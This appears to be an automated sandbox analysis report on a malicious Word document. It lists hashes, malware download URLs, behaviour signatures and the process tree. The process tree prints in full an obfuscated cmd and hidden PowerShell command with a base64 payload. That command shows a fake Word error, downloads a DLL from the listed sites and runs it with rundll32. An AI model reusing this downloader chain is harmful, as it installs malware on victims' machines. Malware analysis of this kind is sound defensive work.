Analysis
-
max time kernel
86s -
max time network
85s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
13-01-2021 19:45
Static task
static1
Behavioral task
behavioral1
Sample
V343822.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
V343822.doc
Resource
win10v20201028
General
-
Target
V343822.doc
-
Size
86KB
-
MD5
e0983f7a4c35fd6056be9cdf40bf27e8
-
SHA1
b97825db147014805b7aa55f1e8f670cdc5d9f33
-
SHA256
79ce7baebe9784a507b210c9959e8c1d20f80dd499cfb8077501fbc4c1b9489f
-
SHA512
126074dfeab725ad8df6627f8ba63511620301faa98475d1ac80ce7ff6086971df435ff97a4b50661aec86b927a3f0a511f77eecbb21a8f0fa3a806627f75748
Malware Config
Extracted
https://globalruraldevelopmentagency.co.za/cgi-bin/inf/
https://trioconcuerda.es/cgi-bin/Services/
http://abbc.tv/wp-content/Triedit/
http://asafina.co/wp-content/G3GLLO/
http://bluepassgt.com/von-weise-ludzp/DNNXcQcRTT/
http://larissarobles.com/wp-admin/SIGNUP/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1548 1964 cmd.exe -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exerundll32.exeflow pid process 6 1072 powershell.exe 8 1072 powershell.exe 10 752 rundll32.exe 13 752 rundll32.exe 14 752 rundll32.exe -
Loads dropped DLL 4 IoCs
Processes:
rundll32.exepid process 1880 rundll32.exe 1880 rundll32.exe 1880 rundll32.exe 1880 rundll32.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exerundll32.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\Sopasslvkxohgf\pywfunapjuixp.fha rundll32.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Processes:
WINWORD.EXEdescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1824 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exerundll32.exepid process 1072 powershell.exe 1072 powershell.exe 752 rundll32.exe 752 rundll32.exe 752 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1072 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1824 WINWORD.EXE 1824 WINWORD.EXE -
Suspicious use of WriteProcessMemory 27 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exeWINWORD.EXEdescription pid process target process PID 1548 wrote to memory of 676 1548 cmd.exe msg.exe PID 1548 wrote to memory of 676 1548 cmd.exe msg.exe PID 1548 wrote to memory of 676 1548 cmd.exe msg.exe PID 1548 wrote to memory of 1072 1548 cmd.exe powershell.exe PID 1548 wrote to memory of 1072 1548 cmd.exe powershell.exe PID 1548 wrote to memory of 1072 1548 cmd.exe powershell.exe PID 1072 wrote to memory of 1000 1072 powershell.exe rundll32.exe PID 1072 wrote to memory of 1000 1072 powershell.exe rundll32.exe PID 1072 wrote to memory of 1000 1072 powershell.exe rundll32.exe PID 1000 wrote to memory of 1880 1000 rundll32.exe rundll32.exe PID 1000 wrote to memory of 1880 1000 rundll32.exe rundll32.exe PID 1000 wrote to memory of 1880 1000 rundll32.exe rundll32.exe PID 1000 wrote to memory of 1880 1000 rundll32.exe rundll32.exe PID 1000 wrote to memory of 1880 1000 rundll32.exe rundll32.exe PID 1000 wrote to memory of 1880 1000 rundll32.exe rundll32.exe PID 1000 wrote to memory of 1880 1000 rundll32.exe rundll32.exe PID 1880 wrote to memory of 752 1880 rundll32.exe rundll32.exe PID 1880 wrote to memory of 752 1880 rundll32.exe rundll32.exe PID 1880 wrote to memory of 752 1880 rundll32.exe rundll32.exe PID 1880 wrote to memory of 752 1880 rundll32.exe rundll32.exe PID 1880 wrote to memory of 752 1880 rundll32.exe rundll32.exe PID 1880 wrote to memory of 752 1880 rundll32.exe rundll32.exe PID 1880 wrote to memory of 752 1880 rundll32.exe rundll32.exe PID 1824 wrote to memory of 1572 1824 WINWORD.EXE splwow64.exe PID 1824 wrote to memory of 1572 1824 WINWORD.EXE splwow64.exe PID 1824 wrote to memory of 1572 1824 WINWORD.EXE splwow64.exe PID 1824 wrote to memory of 1572 1824 WINWORD.EXE splwow64.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\V343822.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAEUAdAAtAGkAdABlAG0AIAAoACcAdgBhAHIAaQBBACcAKwAnAGIAbABFACcAKwAnADoAOAAnACsAJwBUAEsAbQAwACcAKQAgACgAIAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiACAALQBmACAAJwBvACcALAAnAHMAeQAnACwAJwBSAFkAJwAsACcAUwBUAGUATQAuAGkAbwAuAGQAaQBSAEUAYwBUACcAKQAgACAAKQA7ACAAJABvAFAANgBrAGkAPQAgAFsAdABZAHAARQBdACgAIgB7ADIAfQB7ADQAfQB7ADEAfQB7ADYAfQB7ADAAfQB7ADUAfQB7ADMAfQAiACAALQBGACcAdAAnACwAJwBDAEUAcAAnACwAJwBTAHkAUwB0AGUAbQAuACcALAAnAEEAZwBlAHIAJwAsACcAbgBFAFQALgBTAGUAUgB2AEkAJwAsACcAbQBBAE4AJwAsACcATwBJAG4AJwApACAAOwAgACQAQwB3ADYAXwBqAHMANwA9ACQAUQAzADQAUQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQASAA3ADkATQA7ACQATQBfADIATgA9ACgAKAAnAFkAMgAnACsAJwAzACcAKQArACcATQAnACkAOwAgACgAIAAgAGcAZQBUAC0ASQB0AGUAbQAgACAAKAAnAFYAQQBSAGkAYQAnACsAJwBiAEwARQAnACsAJwA6ADgAJwArACcAdABLAG0AMAAnACkAIAAgACkALgB2AEEATAB1AGUAOgA6ACIAQwBSAEUAYQBgAFQAYABlAGAAZABgAGkAUgBFAEMAdABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAcAAnACsAJwBVAEEARgByACcAKQArACcAdgAnACsAJwAzAHAAJwArACgAJwAzADUAcAAnACsAJwBVAEEATgAnACsAJwB0AHcAJwApACsAJwBoACcAKwAoACcAYQAnACsAJwBnAGkAcAAnACkAKwAnAFUAQQAnACkALQByAGUAUABMAGEAYwBlACAAIAAoAFsAQwBoAEEAcgBdADEAMQAyACsAWwBDAGgAQQByAF0AOAA1ACsAWwBDAGgAQQByAF0ANgA1ACkALABbAEMAaABBAHIAXQA5ADIAKQApADsAJABPAF8AMABaAD0AKAAoACcARwAxACcAKwAnADkAJwApACsAJwBMACcAKQA7ACAAIAAoACAAIABWAGEAUgBJAEEAYgBMAEUAIAAoACcATwAnACsAJwBQADYASwBpACcAKQAgACAAKQAuAFYAQQBsAFUARQA6ADoAIgBTAGUAYwBgAFUAcgBpAHQAeQBQAGAAUgBPAHQAbwBgAGMATwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAMQAnACsAJwAyACcAKQApADsAJABIAF8ANQBJAD0AKAAoACcAQgAzACcAKwAnADMAJwApACsAJwBaACcAKQA7ACQAVABzADMAdwBsAGIANAAgAD0AIAAoACcAVwAnACsAKAAnADkAJwArACcANABDACcAKQApADsAJABYADUAMQBUAD0AKAAoACcAQwAnACsAJwA5ADgAJwApACsAJwBWACcAKQA7ACQATABhAF8AeQA3AGUAMQA9ACQASABPAE0ARQArACgAKAAoACcATgBPAEgARgByAHYAJwArACcAMwAnACkAKwAoACcAcAAzACcAKwAnADUATgAnACkAKwAnAE8AJwArACgAJwBIACcAKwAnAE4AdAAnACsAJwB3AGgAYQBnAGkAJwApACsAJwBOACcAKwAnAE8AJwArACcASAAnACkALgAiAHIAZQBQAGwAYABBAGMAZQAiACgAKAAnAE4ATwAnACsAJwBIACcAKQAsACcAXAAnACkAKQArACQAVABzADMAdwBsAGIANAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFIANAA0AFkAPQAoACcARgAwACcAKwAnADQAVwAnACkAOwAkAFIAbQBzAGMAZgB0ADkAPQAoACcAQQBdACcAKwAoACcAWwBxAFsAJwArACcARAAnACkAKwAnAHMAOgAnACsAKAAnAC8AJwArACcALwBnACcAKQArACgAJwBsAG8AJwArACcAYgBhAGwAcgAnACsAJwB1ACcAKQArACgAJwByAGEAbAAnACsAJwBkAGUAdgBlAGwAJwApACsAKAAnAG8AJwArACcAcABtACcAKQArACgAJwBlAG4AJwArACcAdAAnACkAKwAoACcAYQAnACsAJwBnAGUAbgBjAHkALgAnACkAKwAnAGMAbwAnACsAKAAnAC4AegBhAC8AYwAnACsAJwBnACcAKQArACcAaQAnACsAKAAnAC0AJwArACcAYgBpAG4AJwApACsAKAAnAC8AJwArACcAaQBuAGYALwAnACkAKwAnAEAAJwArACgAJwBBAF0AWwBxAFsAJwArACcARAAnACsAJwBzADoALwAvACcAKQArACcAdAAnACsAJwByACcAKwAoACcAaQBvAGMAbwBuACcAKwAnAGMAdQAnACsAJwBlACcAKQArACcAcgAnACsAKAAnAGQAJwArACcAYQAuACcAKQArACcAZQAnACsAJwBzAC8AJwArACgAJwBjACcAKwAnAGcAaQAnACkAKwAoACcALQBiACcAKwAnAGkAJwArACcAbgAvAFMAJwArACcAZQByAHYAaQBjACcAKQArACcAZQAnACsAJwBzAC8AJwArACcAQAAnACsAJwBBACcAKwAoACcAXQBbACcAKwAnAHEAWwAnACkAKwAnAEQAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGEAJwArACcAYgAnACsAKAAnAGIAJwArACcAYwAuAHQAJwApACsAJwB2AC8AJwArACcAdwBwACcAKwAoACcALQBjACcAKwAnAG8AJwArACcAbgB0AGUAJwApACsAKAAnAG4AdAAnACsAJwAvACcAKwAnAFQAcgAnACsAJwBpAGUAZABpAHQAJwApACsAKAAnAC8AQABBACcAKwAnAF0AWwAnACkAKwAoACcAcQBbACcAKwAnAEQAOgAnACkAKwAoACcALwAvACcAKwAnAGEAcwBhACcAKwAnAGYAaQAnACkAKwAnAG4AYQAnACsAJwAuACcAKwAoACcAYwBvACcAKwAnAC8AdwBwACcAKQArACcALQBjACcAKwAnAG8AbgAnACsAJwB0ACcAKwAoACcAZQAnACsAJwBuAHQAJwArACcALwBHADMARwBMAEwAJwArACcATwAnACkAKwAoACcALwBAACcAKwAnAEEAJwApACsAKAAnAF0AWwAnACsAJwBxAFsARAA6AC8AJwApACsAKAAnAC8AYgBsACcAKwAnAHUAJwApACsAKAAnAGUAJwArACcAcABhACcAKQArACcAcwBzACcAKwAnAGcAdAAnACsAJwAuACcAKwAnAGMAJwArACgAJwBvACcAKwAnAG0ALwB2ACcAKQArACgAJwBvAG4AJwArACcALQB3AGUAaQBzAGUALQAnACsAJwBsACcAKQArACcAdQBkACcAKwAoACcAegAnACsAJwBwAC8AJwApACsAKAAnAEQATgBOAFgAYwAnACsAJwBRAGMAJwArACcAUgBUACcAKQArACgAJwBUACcAKwAnAC8AQAAnACkAKwAnAEEAJwArACgAJwBdAFsAcQBbACcAKwAnAEQAJwApACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGwAJwApACsAKAAnAGEAcgBpACcAKwAnAHMAcwBhACcAKwAnAHIAbwBiACcAKQArACcAbAAnACsAJwBlAHMAJwArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAdwBwAC0AYQBkAG0AaQAnACsAJwBuAC8AUwBJAEcATgAnACsAJwBVAFAAJwArACcALwAnACkAKQAuACIAcgBFAGAAUABMAGEAYwBFACIAKAAoACgAJwBBAF0AWwBxACcAKwAnAFsAJwApACsAJwBEACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAKAAnAGQAJwArACcAcwBlACcAKQArACcAdwBmACcAKQAsACgAKAAnAHcAZQAnACsAJwB2ACcAKQArACcAdwBlACcAKQApACwAKAAnAGEAZQAnACsAJwBmAGYAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACkAWwAyAF0AKQAuACIAUwBQAGAATABpAFQAIgAoACQATgA2ADkARQAgACsAIAAkAEMAdwA2AF8AagBzADcAIAArACAAJABVADAANABPACkAOwAkAFQAOAAwAFIAPQAoACcAVwAnACsAKAAnADEAMQAnACsAJwBVACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABWAGsAeQB2AHUAXwByACAAaQBuACAAJABSAG0AcwBjAGYAdAA5ACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQAnACsAJwBPACcAKwAnAGIAagBlAGMAdAAnACkAIABzAFkAcwBUAGUAbQAuAE4ARQB0AC4AdwBFAEIAYwBsAGkARQBOAHQAKQAuACIARABPAGAAdwBOAGwATwBhAGQAYABGAGkAYABsAGUAIgAoACQAVgBrAHkAdgB1AF8AcgAsACAAJABMAGEAXwB5ADcAZQAxACkAOwAkAE4AMwA3AEoAPQAoACgAJwBVADAAJwArACcANAAnACkAKwAnAEwAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEwAYQBfAHkANwBlADEAKQAuACIAbABgAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADQAMwA3ADMAMAApACAAewAmACgAJwByAHUAbgAnACsAJwBkAGwAJwArACcAbAAzADIAJwApACAAJABMAGEAXwB5ADcAZQAxACwAKAAoACcAUwBoAG8AJwArACcAdwAnACsAJwBEAGkAJwApACsAJwBhACcAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAdABgAG8AYABTAFQAUgBpAG4AZwAiACgAKQA7ACQATQA1ADEAVQA9ACgAJwBQADAAJwArACcAMQBXACcAKQA7AGIAcgBlAGEAawA7ACQATQAyADQARgA9ACgAJwBMACcAKwAoACcAOAAnACsAJwAyAFIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUANgA0AE0APQAoACcAWQAnACsAKAAnADYANgAnACsAJwBZACcAKQApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IABzAEUAdAAtAGkAdABlAG0AIAAoACcAdgBhAHIAaQBBACcAKwAnAGIAbABFACcAKwAnADoAOAAnACsAJwBUAEsAbQAwACcAKQAgACgAIAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiACAALQBmACAAJwBvACcALAAnAHMAeQAnACwAJwBSAFkAJwAsACcAUwBUAGUATQAuAGkAbwAuAGQAaQBSAEUAYwBUACcAKQAgACAAKQA7ACAAJABvAFAANgBrAGkAPQAgAFsAdABZAHAARQBdACgAIgB7ADIAfQB7ADQAfQB7ADEAfQB7ADYAfQB7ADAAfQB7ADUAfQB7ADMAfQAiACAALQBGACcAdAAnACwAJwBDAEUAcAAnACwAJwBTAHkAUwB0AGUAbQAuACcALAAnAEEAZwBlAHIAJwAsACcAbgBFAFQALgBTAGUAUgB2AEkAJwAsACcAbQBBAE4AJwAsACcATwBJAG4AJwApACAAOwAgACQAQwB3ADYAXwBqAHMANwA9ACQAUQAzADQAUQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQASAA3ADkATQA7ACQATQBfADIATgA9ACgAKAAnAFkAMgAnACsAJwAzACcAKQArACcATQAnACkAOwAgACgAIAAgAGcAZQBUAC0ASQB0AGUAbQAgACAAKAAnAFYAQQBSAGkAYQAnACsAJwBiAEwARQAnACsAJwA6ADgAJwArACcAdABLAG0AMAAnACkAIAAgACkALgB2AEEATAB1AGUAOgA6ACIAQwBSAEUAYQBgAFQAYABlAGAAZABgAGkAUgBFAEMAdABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAcAAnACsAJwBVAEEARgByACcAKQArACcAdgAnACsAJwAzAHAAJwArACgAJwAzADUAcAAnACsAJwBVAEEATgAnACsAJwB0AHcAJwApACsAJwBoACcAKwAoACcAYQAnACsAJwBnAGkAcAAnACkAKwAnAFUAQQAnACkALQByAGUAUABMAGEAYwBlACAAIAAoAFsAQwBoAEEAcgBdADEAMQAyACsAWwBDAGgAQQByAF0AOAA1ACsAWwBDAGgAQQByAF0ANgA1ACkALABbAEMAaABBAHIAXQA5ADIAKQApADsAJABPAF8AMABaAD0AKAAoACcARwAxACcAKwAnADkAJwApACsAJwBMACcAKQA7ACAAIAAoACAAIABWAGEAUgBJAEEAYgBMAEUAIAAoACcATwAnACsAJwBQADYASwBpACcAKQAgACAAKQAuAFYAQQBsAFUARQA6ADoAIgBTAGUAYwBgAFUAcgBpAHQAeQBQAGAAUgBPAHQAbwBgAGMATwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAMQAnACsAJwAyACcAKQApADsAJABIAF8ANQBJAD0AKAAoACcAQgAzACcAKwAnADMAJwApACsAJwBaACcAKQA7ACQAVABzADMAdwBsAGIANAAgAD0AIAAoACcAVwAnACsAKAAnADkAJwArACcANABDACcAKQApADsAJABYADUAMQBUAD0AKAAoACcAQwAnACsAJwA5ADgAJwApACsAJwBWACcAKQA7ACQATABhAF8AeQA3AGUAMQA9ACQASABPAE0ARQArACgAKAAoACcATgBPAEgARgByAHYAJwArACcAMwAnACkAKwAoACcAcAAzACcAKwAnADUATgAnACkAKwAnAE8AJwArACgAJwBIACcAKwAnAE4AdAAnACsAJwB3AGgAYQBnAGkAJwApACsAJwBOACcAKwAnAE8AJwArACcASAAnACkALgAiAHIAZQBQAGwAYABBAGMAZQAiACgAKAAnAE4ATwAnACsAJwBIACcAKQAsACcAXAAnACkAKQArACQAVABzADMAdwBsAGIANAArACgAKAAnAC4AZAAnACsAJwBsACcAKQArACcAbAAnACkAOwAkAFIANAA0AFkAPQAoACcARgAwACcAKwAnADQAVwAnACkAOwAkAFIAbQBzAGMAZgB0ADkAPQAoACcAQQBdACcAKwAoACcAWwBxAFsAJwArACcARAAnACkAKwAnAHMAOgAnACsAKAAnAC8AJwArACcALwBnACcAKQArACgAJwBsAG8AJwArACcAYgBhAGwAcgAnACsAJwB1ACcAKQArACgAJwByAGEAbAAnACsAJwBkAGUAdgBlAGwAJwApACsAKAAnAG8AJwArACcAcABtACcAKQArACgAJwBlAG4AJwArACcAdAAnACkAKwAoACcAYQAnACsAJwBnAGUAbgBjAHkALgAnACkAKwAnAGMAbwAnACsAKAAnAC4AegBhAC8AYwAnACsAJwBnACcAKQArACcAaQAnACsAKAAnAC0AJwArACcAYgBpAG4AJwApACsAKAAnAC8AJwArACcAaQBuAGYALwAnACkAKwAnAEAAJwArACgAJwBBAF0AWwBxAFsAJwArACcARAAnACsAJwBzADoALwAvACcAKQArACcAdAAnACsAJwByACcAKwAoACcAaQBvAGMAbwBuACcAKwAnAGMAdQAnACsAJwBlACcAKQArACcAcgAnACsAKAAnAGQAJwArACcAYQAuACcAKQArACcAZQAnACsAJwBzAC8AJwArACgAJwBjACcAKwAnAGcAaQAnACkAKwAoACcALQBiACcAKwAnAGkAJwArACcAbgAvAFMAJwArACcAZQByAHYAaQBjACcAKQArACcAZQAnACsAJwBzAC8AJwArACcAQAAnACsAJwBBACcAKwAoACcAXQBbACcAKwAnAHEAWwAnACkAKwAnAEQAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGEAJwArACcAYgAnACsAKAAnAGIAJwArACcAYwAuAHQAJwApACsAJwB2AC8AJwArACcAdwBwACcAKwAoACcALQBjACcAKwAnAG8AJwArACcAbgB0AGUAJwApACsAKAAnAG4AdAAnACsAJwAvACcAKwAnAFQAcgAnACsAJwBpAGUAZABpAHQAJwApACsAKAAnAC8AQABBACcAKwAnAF0AWwAnACkAKwAoACcAcQBbACcAKwAnAEQAOgAnACkAKwAoACcALwAvACcAKwAnAGEAcwBhACcAKwAnAGYAaQAnACkAKwAnAG4AYQAnACsAJwAuACcAKwAoACcAYwBvACcAKwAnAC8AdwBwACcAKQArACcALQBjACcAKwAnAG8AbgAnACsAJwB0ACcAKwAoACcAZQAnACsAJwBuAHQAJwArACcALwBHADMARwBMAEwAJwArACcATwAnACkAKwAoACcALwBAACcAKwAnAEEAJwApACsAKAAnAF0AWwAnACsAJwBxAFsARAA6AC8AJwApACsAKAAnAC8AYgBsACcAKwAnAHUAJwApACsAKAAnAGUAJwArACcAcABhACcAKQArACcAcwBzACcAKwAnAGcAdAAnACsAJwAuACcAKwAnAGMAJwArACgAJwBvACcAKwAnAG0ALwB2ACcAKQArACgAJwBvAG4AJwArACcALQB3AGUAaQBzAGUALQAnACsAJwBsACcAKQArACcAdQBkACcAKwAoACcAegAnACsAJwBwAC8AJwApACsAKAAnAEQATgBOAFgAYwAnACsAJwBRAGMAJwArACcAUgBUACcAKQArACgAJwBUACcAKwAnAC8AQAAnACkAKwAnAEEAJwArACgAJwBdAFsAcQBbACcAKwAnAEQAJwApACsAJwA6ACcAKwAoACcALwAvACcAKwAnAGwAJwApACsAKAAnAGEAcgBpACcAKwAnAHMAcwBhACcAKwAnAHIAbwBiACcAKQArACcAbAAnACsAJwBlAHMAJwArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAdwBwAC0AYQBkAG0AaQAnACsAJwBuAC8AUwBJAEcATgAnACsAJwBVAFAAJwArACcALwAnACkAKQAuACIAcgBFAGAAUABMAGEAYwBFACIAKAAoACgAJwBBAF0AWwBxACcAKwAnAFsAJwApACsAJwBEACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAKAAnAGQAJwArACcAcwBlACcAKQArACcAdwBmACcAKQAsACgAKAAnAHcAZQAnACsAJwB2ACcAKQArACcAdwBlACcAKQApACwAKAAnAGEAZQAnACsAJwBmAGYAJwApACwAKAAnAGgAdAAnACsAJwB0AHAAJwApACkAWwAyAF0AKQAuACIAUwBQAGAATABpAFQAIgAoACQATgA2ADkARQAgACsAIAAkAEMAdwA2AF8AagBzADcAIAArACAAJABVADAANABPACkAOwAkAFQAOAAwAFIAPQAoACcAVwAnACsAKAAnADEAMQAnACsAJwBVACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABWAGsAeQB2AHUAXwByACAAaQBuACAAJABSAG0AcwBjAGYAdAA5ACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQAnACsAJwBPACcAKwAnAGIAagBlAGMAdAAnACkAIABzAFkAcwBUAGUAbQAuAE4ARQB0AC4AdwBFAEIAYwBsAGkARQBOAHQAKQAuACIARABPAGAAdwBOAGwATwBhAGQAYABGAGkAYABsAGUAIgAoACQAVgBrAHkAdgB1AF8AcgAsACAAJABMAGEAXwB5ADcAZQAxACkAOwAkAE4AMwA3AEoAPQAoACgAJwBVADAAJwArACcANAAnACkAKwAnAEwAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEwAYQBfAHkANwBlADEAKQAuACIAbABgAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADQAMwA3ADMAMAApACAAewAmACgAJwByAHUAbgAnACsAJwBkAGwAJwArACcAbAAzADIAJwApACAAJABMAGEAXwB5ADcAZQAxACwAKAAoACcAUwBoAG8AJwArACcAdwAnACsAJwBEAGkAJwApACsAJwBhACcAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAdABgAG8AYABTAFQAUgBpAG4AZwAiACgAKQA7ACQATQA1ADEAVQA9ACgAJwBQADAAJwArACcAMQBXACcAKQA7AGIAcgBlAGEAawA7ACQATQAyADQARgA9ACgAJwBMACcAKwAoACcAOAAnACsAJwAyAFIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUANgA0AE0APQAoACcAWQAnACsAKAAnADYANgAnACsAJwBZACcAKQApAA==2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Frv3p35\Ntwhagi\W94C.dll ShowDialogA3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Frv3p35\Ntwhagi\W94C.dll ShowDialogA4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Sopasslvkxohgf\pywfunapjuixp.fha",ShowDialogA5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Frv3p35\Ntwhagi\W94C.dllMD5
9ae559f1a34de3012d9f2931f344c0f2
SHA1228f2d012a1f2edce63dcabed6d6b3e6f36744ca
SHA25658e1e8ba89dd40c277d2bb323f710846de5f2bd752b63c6971d4e681b26fb63b
SHA512a16b735abf567c9ea8e1e17cb37b7c71bdc3da633d94c8466cde025177092f71478e5db3bda02548c8c4d14352fb6a03e45ae97f9b4b6c8edb757d2077558d92
-
\Users\Admin\Frv3p35\Ntwhagi\W94C.dllMD5
9ae559f1a34de3012d9f2931f344c0f2
SHA1228f2d012a1f2edce63dcabed6d6b3e6f36744ca
SHA25658e1e8ba89dd40c277d2bb323f710846de5f2bd752b63c6971d4e681b26fb63b
SHA512a16b735abf567c9ea8e1e17cb37b7c71bdc3da633d94c8466cde025177092f71478e5db3bda02548c8c4d14352fb6a03e45ae97f9b4b6c8edb757d2077558d92
-
\Users\Admin\Frv3p35\Ntwhagi\W94C.dllMD5
9ae559f1a34de3012d9f2931f344c0f2
SHA1228f2d012a1f2edce63dcabed6d6b3e6f36744ca
SHA25658e1e8ba89dd40c277d2bb323f710846de5f2bd752b63c6971d4e681b26fb63b
SHA512a16b735abf567c9ea8e1e17cb37b7c71bdc3da633d94c8466cde025177092f71478e5db3bda02548c8c4d14352fb6a03e45ae97f9b4b6c8edb757d2077558d92
-
\Users\Admin\Frv3p35\Ntwhagi\W94C.dllMD5
9ae559f1a34de3012d9f2931f344c0f2
SHA1228f2d012a1f2edce63dcabed6d6b3e6f36744ca
SHA25658e1e8ba89dd40c277d2bb323f710846de5f2bd752b63c6971d4e681b26fb63b
SHA512a16b735abf567c9ea8e1e17cb37b7c71bdc3da633d94c8466cde025177092f71478e5db3bda02548c8c4d14352fb6a03e45ae97f9b4b6c8edb757d2077558d92
-
\Users\Admin\Frv3p35\Ntwhagi\W94C.dllMD5
9ae559f1a34de3012d9f2931f344c0f2
SHA1228f2d012a1f2edce63dcabed6d6b3e6f36744ca
SHA25658e1e8ba89dd40c277d2bb323f710846de5f2bd752b63c6971d4e681b26fb63b
SHA512a16b735abf567c9ea8e1e17cb37b7c71bdc3da633d94c8466cde025177092f71478e5db3bda02548c8c4d14352fb6a03e45ae97f9b4b6c8edb757d2077558d92
-
